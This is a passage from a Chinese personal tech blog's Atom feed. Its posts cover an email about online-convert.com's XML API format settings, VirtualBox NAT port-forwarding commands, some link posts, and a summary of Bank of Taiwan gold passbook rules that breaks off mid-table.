用了他的api 但是google的api需要要求audio rate 要16k&lt;br /&gt;
&lt;br /&gt;
官網上又沒有說api的參數可以設定 audio rate&lt;br /&gt;
&lt;br /&gt;
於是我就寫信去那個網站的客服&lt;br /&gt;
&lt;br /&gt;
過了兩天 我得到我要的答案了&lt;br /&gt;
&lt;br /&gt;
以下是信件內容 (我英文不好，文法錯請多包涵)&lt;br /&gt;
---------------------------------------------------------------------------------&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: arial, sans-serif;&quot;&gt;我 寄給 online-convert.com&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; class=&quot;cf gJ&quot; style=&quot;border-collapse: collapse; margin-top: 0px; width: auto;&quot;&gt;&lt;tbody&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;&quot;&gt;HI:&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;div&gt;
I&#39;m using your great service by using developer api.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
But, How can I convert video to specify video rate via &amp;nbsp;xml api.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Is there a parameter to input?&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
BR&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Welley.&lt;/div&gt;
&lt;div&gt;
----------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;/div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; font-family: arial, sans-serif;&quot;&gt;&lt;div class=&quot;gE iv gt&quot; style=&quot;color: #222222; cursor: auto; font-size: 13px; padding-bottom: 3px; padding-left: 4px; padding-right: 0px;&quot;&gt;
&lt;table cellpadding=&quot;0&quot; class=&quot;cf gJ&quot; style=&quot;border-collapse: collapse; margin-top: 0px; width: auto;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gF gK&quot; style=&quot;font-family: arial, sans-serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-right: 8px; padding-top: 0px; text-align: left; vertical-align: top; white-space: nowrap; width: 763px;&quot;&gt;&lt;table cellpadding=&quot;0&quot; class=&quot;cf ix&quot; style=&quot;border-collapse: collapse; table-layout: fixed; width: 763px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;font-family: arial, sans-serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;&quot;&gt;&lt;div class=&quot;iw&quot; style=&quot;overflow-x: hidden; overflow-y: hidden; white-space: nowrap;&quot;&gt;
&lt;span class=&quot;gD&quot; email=&quot;time2talk@online-convert.com&quot; style=&quot;color: #5b1094; display: inline; font-size: 13px; font-weight: bold; vertical-align: top; white-space: nowrap;&quot;&gt;online-convert.com&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;hb&quot; style=&quot;vertical-align: top;&quot;&gt;寄給&amp;nbsp;&lt;span class=&quot;g2&quot; email=&quot;wewe0901@gmail.com&quot; style=&quot;vertical-align: top;&quot;&gt;我&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/td&gt;&lt;td class=&quot;gH&quot; style=&quot;font-family: arial, sans-serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: right; vertical-align: top; white-space: nowrap;&quot;&gt;&lt;div class=&quot;gK&quot; style=&quot;padding-right: 4px; padding-top: 0px;&quot;&gt;
&lt;span class=&quot;iD&quot; idlink=&quot;&quot; style=&quot;color: #222222; cursor: pointer; text-decoration: underline; vertical-align: top;&quot;&gt;顯示詳細資料&lt;/span&gt;&amp;nbsp;&lt;span alt=&quot;2011年10月17日下午11:08&quot; class=&quot;g3&quot; id=&quot;:7k&quot; style=&quot;margin-right: 3px; vertical-align: top;&quot; title=&quot;2011年10月17日下午11:08&quot;&gt;23:08 (43 分鐘前)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;gH&quot; style=&quot;font-family: arial, sans-serif; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: right; vertical-align: top; white-space: nowrap;&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;div class=&quot;iF&quot; style=&quot;clear: both; color: #222222; height: 0px; overflow-x: hidden; overflow-y: hidden;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;utdU2e&quot; style=&quot;color: #222222;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;QqXVeb&quot; style=&quot;color: #222222;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ii gt&quot; id=&quot;:7s&quot; style=&quot;font-size: 13px; margin-bottom: 5px; margin-left: 15px; margin-right: 15px; margin-top: 5px; padding-bottom: 20px; position: relative; z-index: 2;&quot;&gt;
&lt;div id=&quot;:27z&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;Hi,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;thank you for using&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://online-convert.com/&quot; style=&quot;color: #1155cc;&quot; target=&quot;_blank&quot;&gt;online-convert.com&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;nbsp;and your feedback.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;Here is an example of advanced XML settings:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;lt;queue&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;nbsp;&amp;lt;apiKey&amp;gt;&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;xxxxxxxxxxxxxxxxxxxxxxxxxx&amp;lt;/&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;apiKey&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;nbsp;&amp;lt;targetType&amp;gt;video&amp;lt;/targetType&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;nbsp;&amp;lt;targetMethod&amp;gt;convert-to-mp4&amp;lt;/&lt;/span&gt;&lt;wbr&gt;&lt;/wbr&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;targetMethod&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;nbsp;&amp;lt;testMode&amp;gt;true&amp;lt;/testMode&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;nbsp;&amp;lt;sourceUrl&amp;gt;&lt;/span&gt;&lt;a href=&quot;http://example.tld/test.flv&quot; style=&quot;color: #1155cc;&quot; target=&quot;_blank&quot;&gt;http://example.tld/&lt;wbr&gt;&lt;/wbr&gt;test.flv&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;lt;/sourceUrl&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;lt;format&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;width&amp;gt;320&amp;lt;/width&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;height&amp;gt;260&amp;lt;/height&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;video_quality&amp;gt;800k&amp;lt;/video_&lt;wbr&gt;&lt;/wbr&gt;quality&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;audio_quality&amp;gt;128k&amp;lt;/audio_&lt;wbr&gt;&lt;/wbr&gt;quality&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;rate&amp;gt;25&amp;lt;/rate&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;target_fixed_format&amp;gt;4cif&amp;lt;/&lt;wbr&gt;&lt;/wbr&gt;target_fixed_format&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;video_codec&amp;gt;msmpeg&amp;lt;/video_&lt;wbr&gt;&lt;/wbr&gt;codec&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;bitrate&amp;gt;128k&amp;lt;/bitrate&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;video_start&amp;gt;00:00:00&amp;lt;/video_&lt;wbr&gt;&lt;/wbr&gt;start&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;video_end&amp;gt;00:00:15&amp;lt;/video_&lt;wbr&gt;&lt;/wbr&gt;end&amp;gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;lt;dpg_version&amp;gt;1&amp;lt;/dpg_version&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;lt;/format&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;&amp;lt;/queue&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;Please let me know your further questions.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;Regards,&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;Jens&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;Info: Get information about new features on our twitter and Facebook account.&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;:27z&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;---------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;
&lt;div id=&quot;:27z&quot;&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #222222;&quot;&gt;原來有format可以設定 good!&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px;&quot;&gt;&lt;div&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/8423504184147341980/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/10/blog-post.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8423504184147341980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/8423504184147341980'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/10/blog-post.html' title='線上轉檔網站 問與答'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-5877224940549016277</id><published>2011-10-17T07:51:00.001-07:00</published><updated>2011-10-17T07:58:58.775-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Virtual Machine"/><title type='text'>本機連入VirtualBox 的 vm 設定</title><content type='html'>&lt;br /&gt;
進入virtualbox的安裝目錄&lt;br /&gt;
&lt;blockquote&gt;
cd C:\Program Files\Oracle\VirtualBox&lt;/blockquote&gt;
&lt;br /&gt;
執行指令設定port 的 nat轉換&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12px; line-height: 19px;&quot;&gt;VBoxManage.exe modifyvm myvm &amp;nbsp;--natpf1 &quot;guestsshh,tcp,,8000,,80&quot;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12px; line-height: 19px;&quot;&gt;VBoxManage.exe modifyvm myvm &amp;nbsp;--natpf2 &quot;guestsshh,tcp,,2222,,22&quot;&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&amp;nbsp;上面指定把本機的 8000port轉至vm 的 80port&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;把本機的 2222port 轉至 vm 的 22port&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/5877224940549016277/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/10/virtualbox-vm.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5877224940549016277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5877224940549016277'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/10/virtualbox-vm.html' title='本機連入VirtualBox 的 vm 設定'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-5116109729230758175</id><published>2011-10-05T22:36:00.001-07:00</published><updated>2011-10-05T22:36:19.628-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>dive into html5</title><content type='html'>&lt;a href=&quot;http://diveintohtml5.info/&quot;&gt;http://diveintohtml5.info/&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/5116109729230758175/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/10/dive-into-html5.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5116109729230758175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5116109729230758175'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/10/dive-into-html5.html' title='dive into html5'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-5304046387942899050</id><published>2011-10-05T19:20:00.001-07:00</published><updated>2011-10-06T23:05:51.047-07:00</updated><title type='text'>Start-up Tools</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; color: #444444; font-family: &#39;Segoe UI&#39;, &#39;Lucida Grande&#39;, Arial; font-size: 20px; line-height: 23px;&quot;&gt;&lt;strong&gt;Start-up Tools&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;http://startuptools.pbworks.com/w/page/17974963/FrontPage&quot;&gt;http://startuptools.pbworks.com/w/page/17974963/FrontPage&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/spreadsheet/lv?hl=en_US&amp;amp;key=0AgdrTOOiB3BMdExDMXAtUmhrNnQwUXRjZHh1QVhzRHc&amp;amp;toomany=true&quot;&gt;https://docs.google.com/spreadsheet/lv?hl=en_US&amp;amp;key=0AgdrTOOiB3BMdExDMXAtUmhrNnQwUXRjZHh1QVhzRHc&amp;amp;toomany=true&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/5304046387942899050/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2011/10/start-up-tools.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5304046387942899050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/5304046387942899050'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2011/10/start-up-tools.html' title='Start-up Tools'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-6423070473802807201</id><published>2011-09-09T08:37:00.000-07:00</published><updated>2011-09-09T08:38:00.740-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="財商"/><title type='text'>[黃金] 黃金存摺Start</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;最近我們家奇奇靠黃金存摺賺了23% 害我也想來玩一下&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;所以今天我去辦了黃金存摺&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;我沒有做過比較只是覺得台銀好所以我辦了台灣銀行的戶頭與黃金存摺&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333;&quot;&gt;黃金是屬於&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;保值型&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333;&quot;&gt;的投資，雖然我不太了解甚麼是保值，不過感覺就是抗通膨的東西。&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: 新細明體, 蘋果儷黑體, 微軟正黑體, Verdana, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 25px;&quot;&gt;既然要玩就要做功課，所以需要找&lt;/span&gt;&lt;/span&gt;些資料來看一下，首先就是先看黃金存摺的遊戲規則。&lt;br /&gt;
&lt;br /&gt;
台灣銀行黃金存摺&lt;a href=&quot;http://www.bot.com.tw/Gold/GoldPassbook/Pages/default.aspx&quot;&gt;http://www.bot.com.tw/Gold/GoldPassbook/Pages/default.aspx&lt;/a&gt;&lt;br /&gt;
下面做個摘要&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;
1. 交易時間&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;臨櫃: 0900~1530&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;網銀:0840~1530&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;網銀盤後 新台幣 1600~20:00 美元 1600~2300&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
2.買進&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
買進有三種方法，單筆、定期定額、黃金撲滿?&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;單筆: 以公克為單位，免手續費，可以網路購買&lt;/li&gt;
&lt;li&gt;定期定額: 定期(6、16、26) 於戶頭扣款買進黃金，3000台幣以上&lt;/li&gt;
&lt;li&gt;黃金撲滿 (有點複雜): 3000台幣以上，以1000台幣為單位增加，把每月的錢平均分攤到每個營業日買進黃金，也就是說每月26000營業日有26天的話每天買1000元黃金，看當天價格可以買到多少，月初扣款、月底存入當月購買黃金，每月25手續費(網銀申請)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
3.賣回&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;以公克為單位，沒有手續費&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #a3a6b7; font-family: Verdana, Helvetica, sans-serif;&quot;&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 8.15pt; margin-left: 18pt; margin-right: 0cm; margin-top: 0cm; text-indent: -18pt; vertical-align: top;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: 標楷體;&quot;&gt;4.大批銷售黃金存摺價格折讓標準表&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 8.15pt; margin-left: 18pt; margin-right: 0cm; margin-top: 3.25pt; text-indent: -18pt; vertical-align: top;&quot;&gt;
&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoTableGrid&quot; style=&quot;border-bottom-color: initial; border-bottom-style: none; border-bottom-width: medium; border-collapse: collapse; border-left-color: initial; border-left-style: none; border-left-width: medium; border-right-color: initial; border-right-style: none; border-right-width: medium; border-top-color: initial; border-top-style: none; border-top-width: medium; width: 295px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: windowtext; border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: 標楷體;&quot;&gt;黃金存摺&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: windowtext; border-top-style: solid; border-top-width: 1pt; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: 標楷體;&quot;&gt;折讓率&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;3公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.07%&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: windowtext; border-left-style: solid; border-left-width: 1pt; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 131.4pt;&quot; width=&quot;175&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;6公斤(含)以上&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;td style=&quot;background-color: transparent; border-bottom-color: windowtext; border-bottom-style: solid; border-bottom-width: 1pt; border-left-color: rgb(224, 223, 227); border-left-style: initial; border-left-width: initial; border-right-color: windowtext; border-right-style: solid; border-right-width: 1pt; border-top-color: rgb(224, 223, 227); border-top-style: initial; border-top-width: initial; padding-bottom: 0cm; padding-left: 5.4pt; padding-right: 5.4pt; padding-top: 0cm; width: 90pt;&quot; width=&quot;120&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: center; vertical-align: top;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: 標楷體;&quot;&gt;0.09%&lt;/span&gt;&lt;/div&gt;
